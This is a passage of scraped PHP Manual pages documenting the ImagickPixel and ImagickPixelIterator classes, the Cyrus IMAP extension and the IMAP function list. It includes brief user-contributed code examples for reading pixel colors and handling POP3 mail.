This function is currently not documented; only its argument list is available.

Deallocates any resources used by the ImagickPixel object, and unsets any associated color. The object should not be used after the destroy function has been called.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::__construct
ImagickPixel::getColor
ImagickPixel


Returns the color

ImagickPixel::destroy
ImagickPixel::getColorAsString
ImagickPixel
PHP Manual

ImagickPixel::getColor

(PECL imagick 2.0.0)

ImagickPixel::getColor — Returns the color

Description

array ImagickPixel::getColor ([ bool $normalized = false ] )
Warning

This function is currently not documented; only its argument list is available.

Returns the color described by the ImagickPixel object, as an array. If the color has an opacity channel set, this is provided as a fourth value in the list.

Parameters

normalized

Normalize the color values

Return Values

An array of channel values, each normalized if TRUE is given as param. Throws ImagickPixelException on error.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::destroy
ImagickPixel::getColorAsString
ImagickPixel


Returns the color as a string

ImagickPixel::getColor
ImagickPixel::getColorCount
ImagickPixel
PHP Manual

ImagickPixel::getColorAsString

(PECL imagick 2.1.0)

ImagickPixel::getColorAsString — Returns the color as a string

Description

string ImagickPixel::getColorAsString ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the color of the ImagickPixel object as a string.

Parameters

Return Values

Returns the color of the ImagickPixel object as a string.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::getColor
ImagickPixel::getColorCount
ImagickPixel


Returns the color count associated with this color

ImagickPixel::getColorAsString
ImagickPixel::getColorValue
ImagickPixel
PHP Manual

ImagickPixel::getColorCount

(PECL imagick 2.0.0)

ImagickPixel::getColorCount — Returns the color count associated with this color

Description

int ImagickPixel::getColorCount ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the color count associated with this color.

Return Values

Returns the color count as an integer on success, throws ImagickPixelException on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::getColorAsString
ImagickPixel::getColorValue
ImagickPixel


Gets the normalized value of the provided color channel

ImagickPixel::getColorCount
ImagickPixel::getHSL
ImagickPixel
PHP Manual

ImagickPixel::getColorValue

(PECL imagick 2.0.0)

ImagickPixel::getColorValue — Gets the normalized value of the provided color channel

Description

float ImagickPixel::getColorValue ( int $color )
Warning

This function is currently not documented; only its argument list is available.

Retrieves the value of the color channel specified, as a floating-point number between 0 and 1.

Parameters

color

The channel to check, specified as one of the Imagick channel constants.

Return Values

The value of the channel, as a normalized floating-point number, throwing ImagickPixelException on error.

User Contributed Notes

mwwaygoo AT hotmail DOT com 18-May-2010 03:56
QUOTE: $color   The channel to check, specified as one of the Imagick channel constants.

$color is a COLOR_* constant, not a channel constant

e.g.
<?php
$image=new Imagick();
$image->readImage('test.png');
$point=$image->getImagePixelColor(0,0);
echo ' Alpha:'.$point->getColorValue(imagick::COLOR_ALPHA);
echo ' Opacity:'.$point->getColorValue(imagick::COLOR_OPACITY);
echo ' R:'.$point->getColorValue(imagick::COLOR_RED);
echo ' G:'.$point->getColorValue(imagick::COLOR_GREEN);
echo ' B:'.$point->getColorValue(imagick::COLOR_BLUE);
?>
ImagickPixel::getColorCount
ImagickPixel::getHSL
ImagickPixel


Returns the normalized HSL color of the ImagickPixel object

ImagickPixel::getColorValue
ImagickPixel::isSimilar
ImagickPixel
PHP Manual

ImagickPixel::getHSL

(PECL imagick 2.0.0)

ImagickPixel::getHSL — Returns the normalized HSL color of the ImagickPixel object

Description

array ImagickPixel::getHSL ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the normalized HSL color described by the ImagickPixel object, with each of the three values as floating point numbers between 0.0 and 1.0.

Return Values

Returns the HSL value in an array with the keys "hue", "saturation", and "luminosity". Throws ImagickPixelException on failure.

Notes

Note:

Available with ImageMagick library version 6.2.9 and higher.

User Contributed Notes

rio at rio dot st 06-Aug-2009 10:25
This function needs ImageMagick > 6.2.8

In imagickpixel_class.c
#if MagickLibVersion > 0x628
/* {{{ proto array ImagickPixel::getHSL()
        Returns the normalized HSL color of the pixel wand in an array with the keys "hue", "saturation", and "luminosity".
*/
ImagickPixel::getColorValue
ImagickPixel::isSimilar
ImagickPixel


Check the distance between this color and another

ImagickPixel::getHSL
ImagickPixel::setColor
ImagickPixel
PHP Manual

ImagickPixel::isSimilar

(PECL imagick 2.0.0)

ImagickPixel::isSimilar — Check the distance between this color and another

Description

bool ImagickPixel::isSimilar ( ImagickPixel $color , float $fuzz )
Warning

This function is currently not documented; only its argument list is available.

Checks the distance between the color described by this ImagickPixel object and that of the provided object, by plotting their RGB values on the color cube. If the distance between the two points is less than the fuzz value given, the colors are similar.

Parameters

color

The ImagickPixel object to compare this object against.

fuzz

The maximum distance within which to consider these colors as similar. The theoretical maximum for this value is the square root of three (1.732).

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::getHSL
ImagickPixel::setColor
ImagickPixel


Sets the color

ImagickPixel::isSimilar
ImagickPixel::setColorValue
ImagickPixel
PHP Manual

ImagickPixel::setColor

(PECL imagick 2.0.0)

ImagickPixel::setColor — Sets the color

Description

bool ImagickPixel::setColor ( string $color )
Warning

This function is currently not documented; only its argument list is available.

Sets the color described by the ImagickPixel object, with a string (e.g. "blue", "#0000ff", "rgb(0,0,255)", "cmyk(100,100,100,10)", etc.).

Parameters

color

The color definition to use in order to initialise the ImagickPixel object.

Return Values

Returns TRUE if the specified color was set, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::isSimilar
ImagickPixel::setColorValue
ImagickPixel


Sets the normalized value of one of the channels

ImagickPixel::setColor
ImagickPixel::setHSL
ImagickPixel
PHP Manual

ImagickPixel::setColorValue

(PECL imagick 2.0.0)

ImagickPixel::setColorValue — Sets the normalized value of one of the channels

Description

bool ImagickPixel::setColorValue ( int $color , float $value )
Warning

This function is currently not documented; only its argument list is available.

Sets the value of the specified channel of this object to the provided value, which should be between 0 and 1. This function can be used to provide an opacity channel to an ImagickPixel object.

Parameters

color

One of the Imagick channel color constants.

value

The value to set this channel to, ranging from 0 to 1.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::setColor
ImagickPixel::setHSL
ImagickPixel


Sets the normalized HSL color

ImagickPixel::setColorValue
ImagickPixelIterator
ImagickPixel
PHP Manual

ImagickPixel::setHSL

(PECL imagick 2.0.0)

ImagickPixel::setHSL — Sets the normalized HSL color

Description

bool ImagickPixel::setHSL ( float $hue , float $saturation , float $luminosity )
Warning

This function is currently not documented; only its argument list is available.

Sets the color described by the ImagickPixel object using normalized values for hue, saturation and luminosity.

Parameters

hue

The normalized value for hue, described as a fractional arc (between 0 and 1) of the hue circle, where the zero value is red.

saturation

The normalized value for saturation, with 1 as full saturation.

luminosity

The normalized value for luminosity, on a scale from black at 0 to white at 1, with the full HS value at 0.5 luminosity.

Return Values

Returns TRUE on success.

Notes

Note:

Available with ImageMagick library version 6.2.9 and higher.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::setColorValue
ImagickPixelIterator
ImagickPixel


The ImagickPixelIterator class

(No version information available, might only be in SVN)

Class synopsis

ImagickPixelIterator {
bool clear ( void )
__construct ( Imagick $wand )
bool destroy ( void )
array getCurrentIteratorRow ( void )
int getIteratorRow ( void )
array getNextIteratorRow ( void )
array getPreviousIteratorRow ( void )
bool newPixelIterator ( Imagick $wand )
bool newPixelRegionIterator ( Imagick $wand , int $x , int $y , int $columns , int $rows )
bool resetIterator ( void )
bool setIteratorFirstRow ( void )
bool setIteratorLastRow ( void )
bool setIteratorRow ( int $row )
bool syncIterator ( void )
}

Table of Contents

  • ImagickPixelIterator::clear — Clear resources associated with a PixelIterator
  • ImagickPixelIterator::__construct — The ImagickPixelIterator constructor
  • ImagickPixelIterator::destroy — Deallocates resources associated with a PixelIterator
  • ImagickPixelIterator::getCurrentIteratorRow — Returns the current row of ImagickPixel objects
  • ImagickPixelIterator::getIteratorRow — Returns the current pixel iterator row
  • ImagickPixelIterator::getNextIteratorRow — Returns the next row of the pixel iterator
  • ImagickPixelIterator::getPreviousIteratorRow — Returns the previous row
  • ImagickPixelIterator::newPixelIterator — Returns a new pixel iterator
  • ImagickPixelIterator::newPixelRegionIterator — Returns a new pixel iterator
  • ImagickPixelIterator::resetIterator — Resets the pixel iterator
  • ImagickPixelIterator::setIteratorFirstRow — Sets the pixel iterator to the first pixel row
  • ImagickPixelIterator::setIteratorLastRow — Sets the pixel iterator to the last pixel row
  • ImagickPixelIterator::setIteratorRow — Set the pixel iterator row
  • ImagickPixelIterator::syncIterator — Syncs the pixel iterator

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::setHSL
ImagickPixelIterator::clear
ImageMagick


Clear resources associated with a PixelIterator

ImagickPixelIterator
ImagickPixelIterator::__construct
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::clear

(PECL imagick 2.0.0)

ImagickPixelIterator::clear — Clear resources associated with a PixelIterator

Description

bool ImagickPixelIterator::clear ( void )
Warning

This function is currently not documented; only its argument list is available.

Clear resources associated with a PixelIterator.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator
ImagickPixelIterator::__construct
ImagickPixelIterator


The ImagickPixelIterator constructor

ImagickPixelIterator::clear
ImagickPixelIterator::destroy
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::__construct

(PECL imagick 2.0.0)

ImagickPixelIterator::__construct — The ImagickPixelIterator constructor

Description

ImagickPixelIterator::__construct ( Imagick $wand )
Warning

This function is currently not documented; only its argument list is available.

The ImagickPixelIterator constructor

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::clear
ImagickPixelIterator::destroy
ImagickPixelIterator


Deallocates resources associated with a PixelIterator

ImagickPixelIterator::__construct
ImagickPixelIterator::getCurrentIteratorRow
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::destroy

(PECL imagick 2.0.0)

ImagickPixelIterator::destroy — Deallocates resources associated with a PixelIterator

Description

bool ImagickPixelIterator::destroy ( void )
Warning

This function is currently not documented; only its argument list is available.

Deallocates resources associated with a PixelIterator.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::__construct
ImagickPixelIterator::getCurrentIteratorRow
ImagickPixelIterator


Returns the current row of ImagickPixel objects

ImagickPixelIterator::destroy
ImagickPixelIterator::getIteratorRow
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::getCurrentIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::getCurrentIteratorRow — Returns the current row of ImagickPixel objects

Description

array ImagickPixelIterator::getCurrentIteratorRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current row as an array of ImagickPixel objects from the pixel iterator.

Return Values

Returns a row as an array of ImagickPixel objects that can themselves be iterated.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::destroy
ImagickPixelIterator::getIteratorRow
ImagickPixelIterator


Returns the current pixel iterator row

ImagickPixelIterator::getCurrentIteratorRow
ImagickPixelIterator::getNextIteratorRow
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::getIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::getIteratorRow — Returns the current pixel iterator row

Description

int ImagickPixelIterator::getIteratorRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current pixel iterator row.

Return Values

Returns the integer offset of the row, throwing ImagickPixelIteratorException on error.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::getCurrentIteratorRow
ImagickPixelIterator::getNextIteratorRow
ImagickPixelIterator


Returns the next row of the pixel iterator

ImagickPixelIterator::getIteratorRow
ImagickPixelIterator::getPreviousIteratorRow
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::getNextIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::getNextIteratorRow — Returns the next row of the pixel iterator

Description

array ImagickPixelIterator::getNextIteratorRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the next row as an array of pixel wands from the pixel iterator.

Return Values

Returns the next row as an array of ImagickPixel objects, throwing ImagickPixelIteratorException on error.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::getIteratorRow
ImagickPixelIterator::getPreviousIteratorRow
ImagickPixelIterator


Returns the previous row

ImagickPixelIterator::getNextIteratorRow
ImagickPixelIterator::newPixelIterator
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::getPreviousIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::getPreviousIteratorRow — Returns the previous row

Description

array ImagickPixelIterator::getPreviousIteratorRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the previous row as an array of pixel wands from the pixel iterator.

Return Values

Returns the previous row as an array of ImagickPixelWand objects from the ImagickPixelIterator, throwing ImagickPixelIteratorException on error.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::getNextIteratorRow
ImagickPixelIterator::newPixelIterator
ImagickPixelIterator


Returns a new pixel iterator

ImagickPixelIterator::getPreviousIteratorRow
ImagickPixelIterator::newPixelRegionIterator
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::newPixelIterator

(PECL imagick 2.0.0)

ImagickPixelIterator::newPixelIterator — Returns a new pixel iterator

Description

bool ImagickPixelIterator::newPixelIterator ( Imagick $wand )
Warning

This function is currently not documented; only its argument list is available.

Returns a new pixel iterator.

Return Values

Returns TRUE on success. Throwing ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::getPreviousIteratorRow
ImagickPixelIterator::newPixelRegionIterator
ImagickPixelIterator


Returns a new pixel iterator

ImagickPixelIterator::newPixelIterator
ImagickPixelIterator::resetIterator
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::newPixelRegionIterator

(PECL imagick 2.0.0)

ImagickPixelIterator::newPixelRegionIterator — Returns a new pixel iterator

Description

bool ImagickPixelIterator::newPixelRegionIterator ( Imagick $wand , int $x , int $y , int $columns , int $rows )
Warning

This function is currently not documented; only its argument list is available.

Returns a new pixel iterator.

Parameters

wand

x

y

columns

rows

Return Values

Returns a new ImagickPixelIterator on success; on failure, throws ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::newPixelIterator
ImagickPixelIterator::resetIterator
ImagickPixelIterator


Resets the pixel iterator

ImagickPixelIterator::newPixelRegionIterator
ImagickPixelIterator::setIteratorFirstRow
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::resetIterator

(PECL imagick 2.0.0)

ImagickPixelIterator::resetIterator — Resets the pixel iterator

Description

bool ImagickPixelIterator::resetIterator ( void )
Warning

This function is currently not documented; only its argument list is available.

Resets the pixel iterator. Use it in conjunction with ImagickPixelIterator::getNextIteratorRow() to iterate over all the pixels in a pixel container.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::newPixelRegionIterator
ImagickPixelIterator::setIteratorFirstRow
ImagickPixelIterator


Sets the pixel iterator to the first pixel row

ImagickPixelIterator::resetIterator
ImagickPixelIterator::setIteratorLastRow
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::setIteratorFirstRow

(PECL imagick 2.0.0)

ImagickPixelIterator::setIteratorFirstRow — Sets the pixel iterator to the first pixel row

Description

bool ImagickPixelIterator::setIteratorFirstRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Sets the pixel iterator to the first pixel row.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::resetIterator
ImagickPixelIterator::setIteratorLastRow
ImagickPixelIterator


Sets the pixel iterator to the last pixel row

ImagickPixelIterator::setIteratorFirstRow
ImagickPixelIterator::setIteratorRow
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::setIteratorLastRow

(PECL imagick 2.0.0)

ImagickPixelIterator::setIteratorLastRow — Sets the pixel iterator to the last pixel row

Description

bool ImagickPixelIterator::setIteratorLastRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Sets the pixel iterator to the last pixel row.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::setIteratorFirstRow
ImagickPixelIterator::setIteratorRow
ImagickPixelIterator


Set the pixel iterator row

ImagickPixelIterator::setIteratorLastRow
ImagickPixelIterator::syncIterator
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::setIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::setIteratorRow — Set the pixel iterator row

Description

bool ImagickPixelIterator::setIteratorRow ( int $row )
Warning

This function is currently not documented; only its argument list is available.

Set the pixel iterator row.

Parameters

row

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::setIteratorLastRow
ImagickPixelIterator::syncIterator
ImagickPixelIterator


Syncs the pixel iterator

ImagickPixelIterator::setIteratorRow
Mail Related Extensions
ImagickPixelIterator
PHP Manual

ImagickPixelIterator::syncIterator

(PECL imagick 2.0.0)

ImagickPixelIterator::syncIterator — Syncs the pixel iterator

Description

bool ImagickPixelIterator::syncIterator ( void )
Warning

This function is currently not documented; only its argument list is available.

Syncs the pixel iterator.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::setIteratorRow
Mail Related Extensions
ImagickPixelIterator


Mail Related Extensions

  • Cyrus — Cyrus IMAP administration
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Cyrus Functions
  • IMAP — IMAP, POP3 and NNTP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • IMAP Functions
  • Mail
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Mail Functions
  • Mailparse
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Mailparse Functions
  • vpopmail
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • vpopmail Functions

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixelIterator::syncIterator
Cyrus
Function Reference


Cyrus IMAP administration

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Cyrus Functions
    • cyrus_authenticate — Authenticate against a Cyrus IMAP server
    • cyrus_bind — Bind callbacks to a Cyrus IMAP connection
    • cyrus_close — Close connection to a Cyrus IMAP server
    • cyrus_connect — Connect to a Cyrus IMAP server
    • cyrus_query — Send a query to a Cyrus IMAP server
    • cyrus_unbind — Unbind ...

User Contributed Notes

baldur [at] baldur [dot] biz 02-Mar-2009 02:05
If you have problems using this package you might want to take a look at web-cyradmin (http://www.web-cyradm.org/). It has a PHP class called cyradm located in the lib/ folder that has methods for most or all functions you might need to perform in cyrus. (Version of web-cyradmin is 0.5.4 as of writing). Example:

<?php
require_once("cyradm.php");

$GLOBAL['CYRUS']['HOST'] = "localhost"; // or wherever you keep your cyrus server
$GLOBAL['CYRUS']['PORT'] = 143; // or the port you use for IMAP traffic
$GLOBAL['CYRUS']['ADMIN'] = "cyrus"; // the cyrus admin
$GLOBAL['CYRUS']['PASS'] = "secret"; // password for admin

$cyradm = new cyradm();
$cyradm->imap_login();
$cyradm->createmb("user.username@domain.tld");
$cyradm->imap_logout();
?>
Mail Related Extensions
Introduction
Mail Related Extensions


Introduction

Note: This extension is not available on Windows platforms.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0.

User Contributed Notes

There are no user contributed notes for this page.
Cyrus
Installing/Configuring
Cyrus


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Cyrus


Installation

To enable Cyrus IMAP support and to use these functions you have to compile PHP with the --with-cyrus option.

Warning

The IMAP, recode, YAZ and Cyrus extensions cannot be used in conjuction, because they share the same internal symbols. Note: Yaz 2.0 and above does not suffer from this problem.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension defines a Cyrus IMAP connection identifier returned by cyrus_connect().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CYRUS_CONN_NONSYNCLITERAL (integer)
CYRUS_CONN_INITIALRESPONSE (integer)
CYRUS_CALLBACK_NUMBERED (integer)
CYRUS_CALLBACK_NOLITERAL (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Cyrus Functions
Cyrus


Cyrus Functions

Table of Contents

  • cyrus_authenticate — Authenticate against a Cyrus IMAP server
  • cyrus_bind — Bind callbacks to a Cyrus IMAP connection
  • cyrus_close — Close connection to a Cyrus IMAP server
  • cyrus_connect — Connect to a Cyrus IMAP server
  • cyrus_query — Send a query to a Cyrus IMAP server
  • cyrus_unbind — Unbind ...

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
cyrus_authenticate
Cyrus


Authenticate against a Cyrus IMAP server

Cyrus Functions
cyrus_bind
Cyrus Functions
PHP Manual

cyrus_authenticate

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_authenticate — Authenticate against a Cyrus IMAP server

Description

void cyrus_authenticate ( resource $connection [, string $mechlist [, string $service [, string $user [, int $minssf [, int $maxssf [, string $authname [, string $password ]]]]]]] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
Cyrus Functions
cyrus_bind
Cyrus Functions


Bind callbacks to a Cyrus IMAP connection

cyrus_authenticate
cyrus_close
Cyrus Functions
PHP Manual

cyrus_bind

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_bind — Bind callbacks to a Cyrus IMAP connection

Description

bool cyrus_bind ( resource $connection , array $callbacks )

Binds callbacks to a Cyrus IMAP connection.

Parameters

connection

The connection handle.

callbacks

An array of callbacks.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
cyrus_authenticate
cyrus_close
Cyrus Functions


Close connection to a Cyrus IMAP server

cyrus_bind
cyrus_connect
Cyrus Functions
PHP Manual

cyrus_close

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_close — Close connection to a Cyrus IMAP server

Description

bool cyrus_close ( resource $connection )

Closes the connection to a Cyrus IMAP server.

Parameters

connection

The connection handle.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
cyrus_bind
cyrus_connect
Cyrus Functions


Connect to a Cyrus IMAP server

cyrus_close
cyrus_query
Cyrus Functions
PHP Manual

cyrus_connect

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_connect — Connect to a Cyrus IMAP server

Description

resource cyrus_connect ([ string $host [, string $port [, int $flags ]]] )

Connects to a Cyrus IMAP server.

Parameters

host

The Cyrus IMAP host name.

port

The port number.

flags

Return Values

Returns a connection handler on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
cyrus_close
cyrus_query
Cyrus Functions


Send a query to a Cyrus IMAP server

cyrus_connect
cyrus_unbind
Cyrus Functions
PHP Manual

cyrus_query

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_query — Send a query to a Cyrus IMAP server

Description

array cyrus_query ( resource $connection , string $query )

Sends a query to a Cyrus IMAP server.

Parameters

connection

The connection handle.

query

The query string.

Return Values

Returns an associative array with the following keys: text, msgno, and keyword.

User Contributed Notes

There are no user contributed notes for this page.
cyrus_connect
cyrus_unbind
Cyrus Functions


Unbind ...

cyrus_query
IMAP
Cyrus Functions
PHP Manual

cyrus_unbind

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_unbind — Unbind ...

Description

bool cyrus_unbind ( resource $connection , string $trigger_name )
Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

The connection handle.

trigger_name

The trigger name.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
cyrus_query
IMAP
Cyrus Functions


IMAP, POP3 and NNTP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • IMAP Functions
    • imap_8bit — Convert an 8bit string to a quoted-printable string
    • imap_alerts — Returns all IMAP alert messages that have occurred
    • imap_append — Append a string message to a specified mailbox
    • imap_base64 — Decode BASE64 encoded text
    • imap_binary — Convert an 8bit string to a base64 string
    • imap_body — Read the message body
    • imap_bodystruct — Read the structure of a specified body section of a specific message
    • imap_check — Check current mailbox
    • imap_clearflag_full — Clears flags on messages
    • imap_close — Close an IMAP stream
    • imap_create — Alias of imap_createmailbox
    • imap_createmailbox — Create a new mailbox
    • imap_delete — Mark a message for deletion from current mailbox
    • imap_deletemailbox — Delete a mailbox
    • imap_errors — Returns all of the IMAP errors that have occured
    • imap_expunge — Delete all messages marked for deletion
    • imap_fetch_overview — Read an overview of the information in the headers of the given message
    • imap_fetchbody — Fetch a particular section of the body of the message
    • imap_fetchheader — Returns header for a message
    • imap_fetchmime — Fetch MIME headers for a particular section of the message
    • imap_fetchstructure — Read the structure of a particular message
    • imap_fetchtext — Alias of imap_body
    • imap_gc — Clears IMAP cache
    • imap_get_quota — Retrieve the quota level settings, and usage statics per mailbox
    • imap_get_quotaroot — Retrieve the quota settings per user
    • imap_getacl — Gets the ACL for a given mailbox
    • imap_getmailboxes — Read the list of mailboxes, returning detailed information on each one
    • imap_getsubscribed — List all the subscribed mailboxes
    • imap_header — Alias of imap_headerinfo
    • imap_headerinfo — Read the header of the message
    • imap_headers — Returns headers for all messages in a mailbox
    • imap_last_error — Gets the last IMAP error that occurred during this page request
    • imap_list — Read the list of mailboxes
    • imap_listmailbox — Alias of imap_list
    • imap_listscan — Returns the list of mailboxes that matches the given text
    • imap_listsubscribed — Alias of imap_lsub
    • imap_lsub — List all the subscribed mailboxes
    • imap_mail_compose — Create a MIME message based on given envelope and body sections
    • imap_mail_copy — Copy specified messages to a mailbox
    • imap_mail_move — Move specified messages to a mailbox
    • imap_mail — Send an email message
    • imap_mailboxmsginfo — Get information about the current mailbox
    • imap_mime_header_decode — Decode MIME header elements
    • imap_msgno — Gets the message sequence number for the given UID
    • imap_num_msg — Gets the number of messages in the current mailbox
    • imap_num_recent — Gets the number of recent messages in current mailbox
    • imap_open — Open an IMAP stream to a mailbox
    • imap_ping — Check if the IMAP stream is still active
    • imap_qprint — Convert a quoted-printable string to an 8 bit string
    • imap_rename — Alias of imap_renamemailbox
    • imap_renamemailbox — Rename an old mailbox to new mailbox
    • imap_reopen — Reopen IMAP stream to new mailbox
    • imap_rfc822_parse_adrlist — Parses an address string
    • imap_rfc822_parse_headers — Parse mail headers from a string
    • imap_rfc822_write_address — Returns a properly formatted email address given the mailbox, host, and personal info
    • imap_savebody — Save a specific body section to a file
    • imap_scan — Alias of imap_listscan
    • imap_scanmailbox — Alias of imap_listscan
    • imap_search — This function returns an array of messages matching the given search criteria
    • imap_set_quota — Sets a quota for a given mailbox
    • imap_setacl — Sets the ACL for a giving mailbox
    • imap_setflag_full — Sets flags on messages
    • imap_sort — Gets and sort messages
    • imap_status — Returns status information on a mailbox
    • imap_subscribe — Subscribe to a mailbox
    • imap_thread — Returns a tree of threaded message
    • imap_timeout — Set or fetch imap timeout
    • imap_uid — This function returns the UID for the given message sequence number
    • imap_undelete — Unmark the message which is marked deleted
    • imap_unsubscribe — Unsubscribe from a mailbox
    • imap_utf7_decode — Decodes a modified UTF-7 encoded string
    • imap_utf7_encode — Converts ISO-8859-1 string to modified UTF-7 text
    • imap_utf8 — Converts MIME-encoded text to UTF-8

User Contributed Notes

dev at bluehead dot com dot br 27-Nov-2011 06:13
Because I don't know regular expressions, I hacked the mail_parse_headers() to properly get the last line from the header string:

<?php
function mail_parse_headers($headers)
{

    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    $headers=trim($headers)."\r\n"; /* a hack for the preg_match_all in the next line */
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
?>
Wil Barath 25-Feb-2010 07:54
For all the people coming here praying for:

1) a dead-easy way to read MIME attachments, or
2) a dead-easy way to access POP3 folders

Look no further.

<?php
function pop3_login($host,$port,$user,$pass,$folder="INBOX",$ssl=false)
{
    $ssl=($ssl==false)?"/novalidate-cert":"";
    return (imap_open("{"."$host:$port/pop3$ssl"."}$folder",$user,$pass));
}
function pop3_stat($connection)
{
    $check = imap_mailboxmsginfo($connection);
    return ((array)$check);
}
function pop3_list($connection,$message="")
{
    if ($message)
    {
        $range=$message;
    } else {
        $MC = imap_check($connection);
        $range = "1:".$MC->Nmsgs;
    }
    $response = imap_fetch_overview($connection,$range);
    foreach ($response as $msg) $result[$msg->msgno]=(array)$msg;
        return $result;
}
function pop3_retr($connection,$message)
{
    return(imap_fetchheader($connection,$message,FT_PREFETCHTEXT));
}
function pop3_dele($connection,$message)
{
    return(imap_delete($connection,$message));
}
function mail_parse_headers($headers)
{
    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
function mail_mime_to_array($imap,$mid,$parse_headers=false)
{
    $mail = imap_fetchstructure($imap,$mid);
    $mail = mail_get_parts($imap,$mid,$mail,0);
    if ($parse_headers) $mail[0]["parsed"]=mail_parse_headers($mail[0]["data"]);
    return($mail);
}
function mail_get_parts($imap,$mid,$part,$prefix)
{
    $attachments=array();
    $attachments[$prefix]=mail_decode_part($imap,$mid,$part,$prefix);
    if (isset($part->parts)) // multipart
    {
        $prefix = ($prefix == "0")?"":"$prefix.";
